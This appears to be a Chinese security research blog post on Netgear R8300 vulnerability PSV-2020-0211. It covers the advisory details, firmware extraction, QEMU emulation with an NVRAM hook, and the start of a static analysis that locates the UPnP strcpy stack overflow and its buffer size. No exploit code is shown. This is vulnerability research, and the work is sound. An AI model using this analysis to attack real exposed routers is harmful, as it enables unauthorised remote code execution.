--- title: Netgear-psv-2020-0211 date: 2021-01-08 13:26:26 tags: --- # Netgear_栈溢出漏洞_PSV-2020-0211 https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211 https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/ https://paper.seebug.org/1311/#1 https://www.anquanke.com/post/id/217606 **固件模拟与UPnP栈溢出利用** ## **0x00 漏洞概要** |漏洞编号： |PSV-2020-0211 | |--- |--- | |披露时间： |* 2020 -07-31 — [Netgear 官方发布安全公告](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211) * 2020-08-18 – [漏洞公开披露](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/) | |影响厂商： |Netgear | |漏洞类型： |栈溢出漏洞 | |漏洞评分（CVSS）： |9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) | |利用条件： |该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务，无需身份验证。 | |漏洞成因： |该漏洞位于路由器的 UPnP 服务中， 由于解析 SSDP 协议数据包的代码存在缺陷，导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出，进一步控制 PC 执行任意代码。 | ## **0x01 威胁范围** |影响范围： |R8300 running firmware versions prior to 1.0.2.134 | |--- |--- | |ZoomEye查询结果： |Netgear R8300共有579台设备暴露在互联网上，绝大部分分布在美国，少量设备出现在欧洲 | |--- |![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/1_3.png) | || | ## 0x02 Qemu模拟 |真机调试 |硬件调试接口 |uart | |--- |--- |--- | |历史RCE |NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞 | |设备后门开启telnet |[Unlocking the Netgear Telnet Console](https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500) | |固件篡改植入telnet | | |固件模拟 |QEMU |现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。 | |树莓派、开发板 |只要 CPU 指令集对的上，就可以跑起来 | | firmadyne |基于qemu定制 | |Qemu STM32 | | |Avatar |混合式仿真 | [嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf](http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf) 由于没有真机，我们采用了固件模拟的方式来搭建分析环境。 首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip 使用binwalk对固件中的特征字符串进行识别，可以看到R8300采用了squashfs文件系统格式 ``` $ binwalk R8300-V1.0.2.130_1.0.99.chk DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0 86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes 2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38 ``` 使用 `binwalk -Me` 提取出 Squashfs 文件系统，可以看到R8300为ARM v5架构. ``` $ file usr/sbin/upnpd usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped ``` ### firmadyne 直接使用firmadyne模拟R8300固件失败，一是网络接口初始化失败，二是NVRAM配置存在问题 原因可能是： * firmadyne只支持armel、mipseb、 mipsel这三种系统内核，相比我们熟悉的armel，armhf代表了另一种不兼容的二进制标准。https://people.debian.org/~aurel32/qemu/armhf/ * ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083836/netgear/image_28.png) * NVRAM库劫持失败，firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数https://github.com/firmadyne/libnvram ``` $ ./fat.py 'Path to R8300 firmware file' __ _ / _| | | | |_ __ _ | |_ | _| / _` | | __| | | | (_| | | |_ |_| \__,_| \__| Welcome to the Firmware Analysis Toolkit - v0.3 Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation By Attify - https://attify.com | @attifyme [+] Firmware: R8300-V1.0.2.130_1.0.99.chk [+] Extracting the firmware... [+] Image ID: 1 [+] Identifying architecture... [+] Architecture: armel [+] Building QEMU disk image... [+] Setting up the network connection, please standby... [+] Network interfaces: [] [+] All set! Press ENTER to run the firmware... [+] When running, press Ctrl + A X to terminate qemu **[+] Command line: /home/yjy/firmware-analysis-toolkit/firmadyne/scratch/2/run.sh** [sudo] password for yjy: Starting firmware emulation... use Ctrl-a + x to exit [ 0.000000] Booting Linux on physical CPU 0x0 [ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016 [ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d [ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache [ 0.000000] Machine model: linux,dummy-virt [ 0.000000] debug: ignoring loglevel setting. [ 0.000000] Memory policy: Data cache writeback [ 0.000000] On node 0 totalpages: 65536 [ 0.000000] free_area_init_node: node 0, pgdat c061dfe8, node_mem_map cfdf9000 [ 0.000000] Normal zone: 512 pages used for memmap [ 0.000000] Normal zone: 0 pages reserved [ 0.000000] Normal zone: 65536 pages, LIFO batch:15 [ 0.000000] CPU: All CPU(s) started in SVC mode. [ 0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768 [ 0.000000] pcpu-alloc: [0] 0 [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65024 [ 0.000000] Kernel command line: root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0 [ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes) [ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes) [ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes) [ 0.000000] Memory: 253344K/262144K available (4297K kernel code, 170K rwdata, 1584K rodata, 180K init, 148K bss, 8800K reserved, 0K cma-reserved) [ 0.000000] Virtual kernel memory layout: [ 0.000000] vector : 0xffff0000 - 0xffff1000 ( 4 kB) [ 0.000000] fixmap : 0xffc00000 - 0xfff00000 (3072 kB) [ 0.000000] vmalloc : 0xd0800000 - 0xff000000 ( 744 MB) [ 0.000000] lowmem : 0xc0000000 - 0xd0000000 ( 256 MB) [ 0.000000] modules : 0xbf000000 - 0xc0000000 ( 16 MB) [ 0.000000] .text : 0xc0008000 - 0xc05c67bc (5882 kB) [ 0.000000] .init : 0xc05c7000 - 0xc05f4000 ( 180 kB) [ 0.000000] .data : 0xc05f4000 - 0xc061e840 ( 171 kB) [ 0.000000] .bss : 0xc0621000 - 0xc06462d4 ( 149 kB) [ 0.000000] NR_IRQS:16 nr_irqs:16 16 [ 0.000000] Architected cp15 timer(s) running at 62.50MHz (virt). [ 0.000000] clocksource arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x1cd42e208c, max_idle_ns: 881590405314 ns [ 0.000071] sched_clock: 56 bits at 62MHz, resolution 16ns, wraps every 4398046511096ns [ 0.000128] Switching to timer-based delay loop, resolution 16ns [ 0.001495] Console: colour dummy device 80x30 [ 0.001639] Calibrating delay loop (skipped), value calculated using timer frequency.. 125.00 BogoMIPS (lpj=625000) [ 0.001695] pid_max: default: 32768 minimum: 301 [ 0.002124] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes) [ 0.002142] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes) [ 0.005250] CPU: Testing write buffer coherency: ok [ 0.008040] Setting up static identity map for 0x40008240 - 0x40008298 [ 0.015663] VFP support v0.3: implementor 41 architecture 4 part 30 variant f rev 0 [ 0.019946] clocksource jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns [ 0.025312] NET: Registered protocol family 16 [ 0.026714] DMA: preallocated 256 KiB pool for atomic coherent allocations [ 0.028535] cpuidle: using governor ladder [ 0.028604] cpuidle: using governor menu [ 0.030202] genirq: Setting trigger mode 1 for irq 20 failed (gic_set_type+0x0/0x48) [ 0.031001] genirq: Setting trigger mode 1 for irq 21 failed (gic_set_type+0x0/0x48) [ 0.031154] genirq: Setting trigger mode 1 for irq 22 failed (gic_set_type+0x0/0x48) [ 0.031310] genirq: Setting trigger mode 1 for irq 23 failed (gic_set_type+0x0/0x48) [ 0.031466] genirq: Setting trigger mode 1 for irq 24 failed (gic_set_type+0x0/0x48) [ 0.031614] genirq: Setting trigger mode 1 for irq 25 failed (gic_set_type+0x0/0x48) [ 0.031756] genirq: Setting trigger mode 1 for irq 26 failed (gic_set_type+0x0/0x48) [ 0.031900] genirq: Setting trigger mode 1 for irq 27 failed (gic_set_type+0x0/0x48) [ 0.032378] genirq: Setting trigger mode 1 for irq 28 failed (gic_set_type+0x0/0x48) [ 0.032530] genirq: Setting trigger mode 1 for irq 29 failed (gic_set_type+0x0/0x48) [ 0.032670] genirq: Setting trigger mode 1 for irq 30 failed (gic_set_type+0x0/0x48) [ 0.032819] genirq: Setting trigger mode 1 for irq 31 failed (gic_set_type+0x0/0x48) [ 0.032959] genirq: Setting trigger mode 1 for irq 32 failed (gic_set_type+0x0/0x48) [ 0.033118] genirq: Setting trigger mode 1 for irq 33 failed (gic_set_type+0x0/0x48) [ 0.033256] genirq: Setting trigger mode 1 for irq 34 failed (gic_set_type+0x0/0x48) [ 0.033394] genirq: Setting trigger mode 1 for irq 35 failed (gic_set_type+0x0/0x48) [ 0.033536] genirq: Setting trigger mode 1 for irq 36 failed (gic_set_type+0x0/0x48) [ 0.033681] genirq: Setting trigger mode 1 for irq 37 failed (gic_set_type+0x0/0x48) [ 0.033849] genirq: Setting trigger mode 1 for irq 38 failed (gic_set_type+0x0/0x48) [ 0.034017] genirq: Setting trigger mode 1 for irq 39 failed (gic_set_type+0x0/0x48) [ 0.034163] genirq: Setting trigger mode 1 for irq 40 failed (gic_set_type+0x0/0x48) [ 0.034311] genirq: Setting trigger mode 1 for irq 41 failed (gic_set_type+0x0/0x48) [ 0.034462] genirq: Setting trigger mode 1 for irq 42 failed (gic_set_type+0x0/0x48) [ 0.034612] genirq: Setting trigger mode 1 for irq 43 failed (gic_set_type+0x0/0x48) [ 0.034766] genirq: Setting trigger mode 1 for irq 44 failed (gic_set_type+0x0/0x48) [ 0.034921] genirq: Setting trigger mode 1 for irq 45 failed (gic_set_type+0x0/0x48) [ 0.035088] genirq: Setting trigger mode 1 for irq 46 failed (gic_set_type+0x0/0x48) [ 0.035258] genirq: Setting trigger mode 1 for irq 47 failed (gic_set_type+0x0/0x48) [ 0.035408] genirq: Setting trigger mode 1 for irq 48 failed (gic_set_type+0x0/0x48) [ 0.035554] genirq: Setting trigger mode 1 for irq 49 failed (gic_set_type+0x0/0x48) [ 0.035698] genirq: Setting trigger mode 1 for irq 50 failed (gic_set_type+0x0/0x48) [ 0.035841] genirq: Setting trigger mode 1 for irq 51 failed (gic_set_type+0x0/0x48) [ 0.036126] genirq: Setting trigger mode 1 for irq 52 failed (gic_set_type+0x0/0x48) [ 0.037808] Serial: AMBA PL011 UART driver [ 0.038739] 9000000.pl011: ttyS0 at MMIO 0x9000000 (irq = 52, base_baud = 0) is a PL011 rev1 [ 0.093732] console [ttyS0] enabled [ 0.106203] vgaarb: loaded [ 0.108624] SCSI subsystem initialized [ 0.111674] usbcore: registered new interface driver usbfs [ 0.115340] usbcore: registered new interface driver hub [ 0.118879] usbcore: registered new device driver usb [ 0.126521] cfg80211: Calling CRDA to update world regulatory domain [ 0.133497] Switched to clocksource arch_sys_counter [ 0.147183] NET: Registered protocol family 2 [ 0.152842] TCP established hash table entries: 2048 (order: 1, 8192 bytes) [ 0.158337] TCP bind hash table entries: 2048 (order: 1, 8192 bytes) [ 0.162885] TCP: Hash tables configured (established 2048 bind 2048) [ 0.167385] UDP hash table entries: 256 (order: 0, 4096 bytes) [ 0.171595] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes) [ 0.176698] NET: Registered protocol family 1 [ 0.179833] PCI: CLS 0 bytes, default 64 [ 0.185928] NetWinder Floating Point Emulator V0.97 (extended precision) [ 0.192393] futex hash table entries: 256 (order: -1, 3072 bytes) [ 0.201353] squashfs: version 4.0 (2009/01/31) Phillip Lougher [ 0.207858] jffs2: version 2.2. (NAND) © 2001-2006 Red Hat, Inc. [ 0.212517] romfs: ROMFS MTD (C) 2007 Red Hat, Inc. [ 0.219896] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253) [ 0.225512] io scheduler noop registered [ 0.228340] io scheduler cfq registered (default) [ 0.232063] firmadyne: devfs: 1, execute: 1, procfs: 1, syscall: 0 [ 0.237165] ------------[ cut here ]------------ [ 0.240536] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/fs/sysfs/dir.c:31 sysfs_warn_dup+0x50/0x6c() [ 0.248160] sysfs: cannot create duplicate filename '/class/gpio' [ 0.252258] Modules linked in: [ 0.254810] CPU: 0 PID: 1 Comm: swapper Not tainted 4.1.17+ #1 [ 0.259118] Hardware name: Generic DT based system [ 0.262292] [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [ 0.262401] [] (show_stack) from [] (warn_slowpath_common+0x80/0xa8) [ 0.262472] [] (warn_slowpath_common) from [] (warn_slowpath_fmt+0x2c/0x3c) [ 0.262560] [] (warn_slowpath_fmt) from [] (sysfs_warn_dup+0x50/0x6c) [ 0.262619] [] (sysfs_warn_dup) from [] (sysfs_create_dir_ns+0x74/0x84) [ 0.262679] [] (sysfs_create_dir_ns) from [] (kobject_add_internal+0xb8/0x2ac) [ 0.262742] [] (kobject_add_internal) from [] (kset_register+0x1c/0x44) [ 0.262801] [] (kset_register) from [] (__class_register+0xa8/0x198) [ 0.262860] [] (__class_register) from [] (__class_create+0x40/0x70) [ 0.262918] [] (__class_create) from [] (register_devfs_stubs+0x314/0xbb4) [ 0.262981] [] (register_devfs_stubs) from [] (init_module+0x28/0xa4) [ 0.263053] [] (init_module) from [] (do_one_initcall+0x104/0x1b4) [ 0.263113] [] (do_one_initcall) from [] (kernel_init_freeable+0xf0/0x1b0) [ 0.263229] [] (kernel_init_freeable) from [] (kernel_init+0x8/0xe4) [ 0.263287] [] (kernel_init) from [] (ret_from_fork+0x14/0x2c) [ 0.263383] ---[ end trace b31221f46a8dc90e ]--- [ 0.263460] ------------[ cut here ]------------ [ 0.263502] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/lib/kobject.c:240 kobject_add_internal+0x240/0x2ac() [ 0.263572] kobject_add_internal failed for gpio with -EEXIST, don't try to register things with the same name in the same directory. [ 0.263639] Modules linked in: [ 0.263699] CPU: 0 PID: 1 Comm: swapper Tainted: G W 4.1.17+ #1 [ 0.263744] Hardware name: Generic DT based system [ 0.263788] [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [ 0.263846] [] (show_stack) from [] (warn_slowpath_common+0x80/0xa8) [ 0.263906] [] (warn_slowpath_common) from [] (warn_slowpath_fmt+0x2c/0x3c) [ 0.263970] [] (warn_slowpath_fmt) from [] (kobject_add_internal+0x240/0x2ac) [ 0.264032] [] (kobject_add_internal) from [] (kset_register+0x1c/0x44) [ 0.264091] [] (kset_register) from [] (__class_register+0xa8/0x198) [ 0.268034] [] (__class_register) from [] (__class_create+0x40/0x70) [ 0.275667] [] (__class_create) from [] (register_devfs_stubs+0x314/0xbb4) [ 0.280619] [] (register_devfs_stubs) from [] (init_module+0x28/0xa4) [ 0.285445] [] (init_module) from [] (do_one_initcall+0x104/0x1b4) [ 0.289737] [] (do_one_initcall) from [] (kernel_init_freeable+0xf0/0x1b0) [ 0.290664] [] (kernel_init_freeable) from [] (kernel_init+0x8/0xe4) [ 0.290727] [] (kernel_init) from [] (ret_from_fork+0x14/0x2c) [ 0.290797] ---[ end trace b31221f46a8dc90f ]--- [ 0.290872] firmadyne: Cannot create device class: gpio! [ 0.291677] firmadyne: Cannot register character device: watchdog, 0xa, 0x82! [ 0.291743] firmadyne: Cannot register character device: wdt, 0xfd, 0x0! [ 0.345419] Non-volatile memory driver v1.3 [ 0.360206] brd: module loaded [ 0.368143] loop: module loaded [ 0.375773] vda: vda1 [ 0.380587] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0 [ 0.387584] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0 [ 0.394469] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0 [ 0.401256] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0 [ 0.402697] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0 [ 0.402848] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0 [ 0.403058] nand: device found, Manufacturer ID: 0x98, Chip ID: 0x39 [ 0.403112] nand: Toshiba NAND 128MiB 1,8V 8-bit [ 0.403158] nand: 128 MiB, SLC, erase size: 16 KiB, page size: 512, OOB size: 16 [ 0.403555] flash size: 128 MiB [ 0.403585] page size: 512 bytes [ 0.403612] OOB area size: 16 bytes [ 0.403640] sector size: 16 KiB [ 0.403665] pages number: 262144 [ 0.403690] pages per sector: 32 [ 0.403715] bus width: 8 [ 0.405652] bits in sector size: 14 [ 0.408186] bits in page size: 9 [ 0.410586] bits in OOB size: 4 [ 0.412941] flash size with OOB: 135168 KiB [ 0.416112] page address bytes: 4 [ 0.418491] sector address bytes: 3 [ 0.421054] options: 0x42 [ 0.423632] Scanning device for bad blocks [ 0.497574] Creating 11 MTD partitions on "NAND 128MiB 1,8V 8-bit": [ 0.504589] 0x000000000000-0x000000100000 : "NAND simulator partition 0" [ 0.510956] 0x000000100000-0x000000200000 : "NAND simulator partition 1" [ 0.517483] 0x000000200000-0x000000300000 : "NAND simulator partition 2" [ 0.523079] 0x000000300000-0x000000400000 : "NAND simulator partition 3" [ 0.528404] 0x000000400000-0x000000500000 : "NAND simulator partition 4" [ 0.533683] 0x000000500000-0x000000600000 : "NAND simulator partition 5" [ 0.538960] 0x000000600000-0x000000700000 : "NAND simulator partition 6" [ 0.544362] 0x000000700000-0x000000800000 : "NAND simulator partition 7" [ 0.549586] 0x000000800000-0x000000900000 : "NAND simulator partition 8" [ 0.554998] 0x000000900000-0x000000a00000 : "NAND simulator partition 9" [ 0.560167] 0x000000a00000-0x000008000000 : "NAND simulator partition 10" [ 0.568706] tun: Universal TUN/TAP device driver, 1.6 [ 0.573024] tun: (C) 1999-2004 Max Krasnyansky [ 0.584170] PPP generic driver version 2.4.2 [ 0.587727] PPP BSD Compression module registered [ 0.591009] PPP Deflate Compression module registered [ 0.594922] PPP MPPE Compression module registered [ 0.598416] NET: Registered protocol family 24 [ 0.601736] PPTP driver version 0.8.5 [ 0.604905] usbcore: registered new interface driver usb-storage [ 0.610485] hidraw: raw HID events driver (C) Jiri Kosina [ 0.614655] usbcore: registered new interface driver usbhid [ 0.618555] usbhid: USB HID core driver [ 0.621686] Netfilter messages via NETLINK v0.30. [ 0.625702] nf_conntrack version 0.5.0 (3958 buckets, 15832 max) [ 0.630752] ctnetlink v0.93: registering with nfnetlink. [ 0.635472] ipip: IPv4 over IPv4 tunneling driver [ 0.639820] gre: GRE over IPv4 demultiplexor driver [ 0.643303] ip_gre: GRE over IPv4 tunneling driver [ 0.649259] ip_tables: (C) 2000-2006 Netfilter Core Team [ 0.655447] arp_tables: (C) 2002 David S. Miller [ 0.660480] Initializing XFRM netlink socket [ 0.664155] NET: Registered protocol family 10 [ 0.670172] ip6_tables: (C) 2000-2006 Netfilter Core Team [ 0.674635] sit: IPv6 over IPv4 tunneling driver [ 0.680072] NET: Registered protocol family 17 [ 0.683649] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this. [ 0.692092] Bridge firewalling registered [ 0.694840] Ebtables v2.0 registered [ 0.697697] 8021q: 802.1Q VLAN Support v1.8 [ 0.700677] Registering SWP/SWPB emulation handler [ 0.705032] hctosys: unable to open rtc device (rtc0) [ 0.713464] EXT4-fs (vda1): couldn't mount as ext3 due to feature incompatibilities [ 0.721943] EXT4-fs (vda1): mounting ext2 file system using the ext4 subsystem [ 0.732941] EXT4-fs (vda1): warning: mounting unchecked fs, running e2fsck is recommended [ 0.740503] EXT4-fs (vda1): mounted filesystem without journal. Opts: (null) [ 0.745898] VFS: Mounted root (ext2 filesystem) on device 254:1. [ 0.752726] Freeing unused kernel memory: 180K (c05c7000 - c05f4000) [ 0.790000] random: init urandom read with 3 bits of entropy available nvram_get_buf: time_zone sem_lock: Triggering NVRAM initialization! nvram_init: Initializing NVRAM... sem_get: Key: 410160c4 nvram_init: Unable to touch Ralink PID file: /var/run/nvramd.pid! sem_get: Key: 410c0019 nvram_set_default_builtin: Setting built-in default values! nvram_set: console_loglevel = "7" sem_get: Key: 410c0019 sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)... sem_lock: Unable to get semaphore! ``` ### Qemu自定义 1. **配置arm虚拟机** 使用Qemu模拟固件需要下载对应的arm虚拟机镜像，内核和initrd。 https://people.debian.org/~aurel32/qemu/armhf/ ``` [debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M [initrd.img-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress) 2013-12-17 01:57 2.2M [vmlinuz-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress) 2013-09-20 18:33 1.9M ``` 标准的虚拟机启动命令为 ``` - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append "root=/dev/mmcblk0p2" ``` 对于R8300固件，在 Host 机上创建一个 tap 接口并分配 IP，启动虚拟机： ``` `sudo tunctl -t tap0 -u `whoami` sudo ifconfig tap0 192.168.2.1/24 qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic` ``` 与标准命令区别在于` -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic` 启动之后输入用户名和密码，都是 root，为虚拟机分配 IP： ``` `root@debian-armhf:~# ifconfig eth0 ``192.168``.``2.2``/``24` ``` 这样 Host 和虚拟机就网络互通了，然后挂载 proc、dev，最后 chroot 即可。 ``` `root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev root@debian-armhf:~# chroot ./squashfs-root/ sh` ``` 1. **修复依赖** NVRAM( 非易失性 RAM) 用于存储路由器的配置信息，而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下，我们可以使用 `LD_PRELOAD` 劫持以下函数符号。手动创建 `/tmp/var/run` 目录，再次运行提示缺少 `/dev/nvram`。 * 编译nvram.so https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c ``` $ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so ``` * 劫持`dlsym` nvram库的实现者还同时 hook 了 `system`、`fopen`、`open` 等函数，因此还会用到 `dlsym`，`/lib/libdl.so.0 `导出了该符号。 ``` `$ grep ``-``r ``"dlsym"`` ``.` `Binary`` file ``./``lib``/``libcrypto``.``so``.``1.0``.``0`` matches` `Binary`` file ``./``lib``/``libdl``.``so``.``0`` matches` `Binary`` file ``./``lib``/``libhcrypto``-``samba4``.``so``.``5`` matches` `Binary`` file ``./``lib``/``libkrb5``-``samba4``.``so``.``26`` matches` `Binary`` file ``./``lib``/``libldb``.``so``.``1`` matches` `Binary`` file ``./``lib``/``libsamba``-``modules``-``samba4``.``so matches` `Binary`` file ``./``lib``/``libsqlite3``.``so``.``0`` matches` `grep``:`` ``./``lib``/``modules``/``2.6``.``36.4brcmarm``+:`` ``No`` such file ``or`` directory` $ `readelf ``-``a `**`./``lib``/``libdl``.``so``.`**`**0**`` ``|`` grep dlsym` ` ``26``:`` ``000010f0`` ``296`` FUNC GLOBAL DEFAULT ``7`` dlsym` ``` * 配置tmp/nvram.ini信息 接下来要做的就是根据上面的日志补全配置信息，也可以参考https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置，可以查看对应的汇编代码逻辑（配置的有问题的话很容易触发段错误）。 ``` `upnpd_debug_level=9 lan_ipaddr=192.168.2.2 hwver=R8500 friendly_name=R8300 upnp_enable=1 upnp_turn_on=1 upnp_advert_period=30 upnp_advert_ttl=4 upnp_portmap_entry=1 upnp_duration=3600 upnp_DHCPServerConfigurable=1 wps_is_upnp=0 upnp_sa_uuid=00000000000000000000 lan_hwaddr=AA:BB:CC:DD:EE:FF` ``` * 运行过程 ``` **# ./usr/sbin/upnpd** # /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory **# LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd** # ./usr/sbin/upnpd: can't resolve symbol 'dlsym' **# LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd** # [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x00b19008 [0x0002648c] custom_nvram initialised [0x76eb7cb8] **fopen****('/tmp/nvram.ini', 'r') = 0x00b19008** [nvram 0] upnpd_debug_level = 9 [nvram 1] lan_ipaddr = 192.168.2.2 [nvram 2] hwver = R8500 [nvram 3] friendly_name = R8300 [nvram 4] upnp_enable = 1 [nvram 5] upnp_turn_on = 1 [nvram 6] upnp_advert_period = 30 [nvram 7] upnp_advert_ttl = 4 [nvram 8] upnp_portmap_entry = 1 [nvram 9] upnp_duration = 3600 [nvram 10] upnp_DHCPServerConfigurable = 1 [nvram 11] wps_is_upnp = 0 [nvram 12] upnp_sa_uuid = 00000000000000000000 [nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF [nvram 14] lan_hwaddr = Read 15 entries from /tmp/nvram.ini acosNvramConfig_get('upnpd_debug_level') = '9' ``` ## 0x03 静态分析 该漏洞的原理是使用strcpy函数不当，拷贝过长字符导致缓冲区溢出，那么如何到达溢出位置。 首先upnpd服务在`sub_1D020()` 中使用`recvfrom()`从套接字接收UDP数据包，并捕获数据发送源的地址。从函数定义可知，upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54 > **recvfrom** recvfrom函数(经socket接收数据): > 函数原型:int recvfrom(SOCKET s,void ***buf**,int **len**,unsigned int flags, struct sockaddr *from,int *fromlen); > 相关函数 recv，recvmsg，send，sendto，socket > 函数说明:[recv()](https://baike.baidu.com/item/recv%28%29)用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的[网络地址](https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80),结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度. ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083882/netgear/image_29.png) 在 `sub_25E04()` 中调用 `strcpy()` 将以上数据拷贝到大小为 `0x634 - 0x58 = 0x5dc` 的 buffer。如果超过缓冲区大小，数据就会覆盖栈底部分甚至返回地址。 ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083972/netgear/image_30.png) ``` ` ``+-----------------+` ` ``|`` retaddr ``|` ` ``+-----------------+` ` ``|`` saved ebp ``|` ` ebp``--->+-----------------+` ` ``|`` ``|` ` ``|`` ``| | | s,ebp-0x58-->+-----------------+` ` ``|`` ``|` ` ``|`` buffer ``|` ` ``|`` ``|` ` 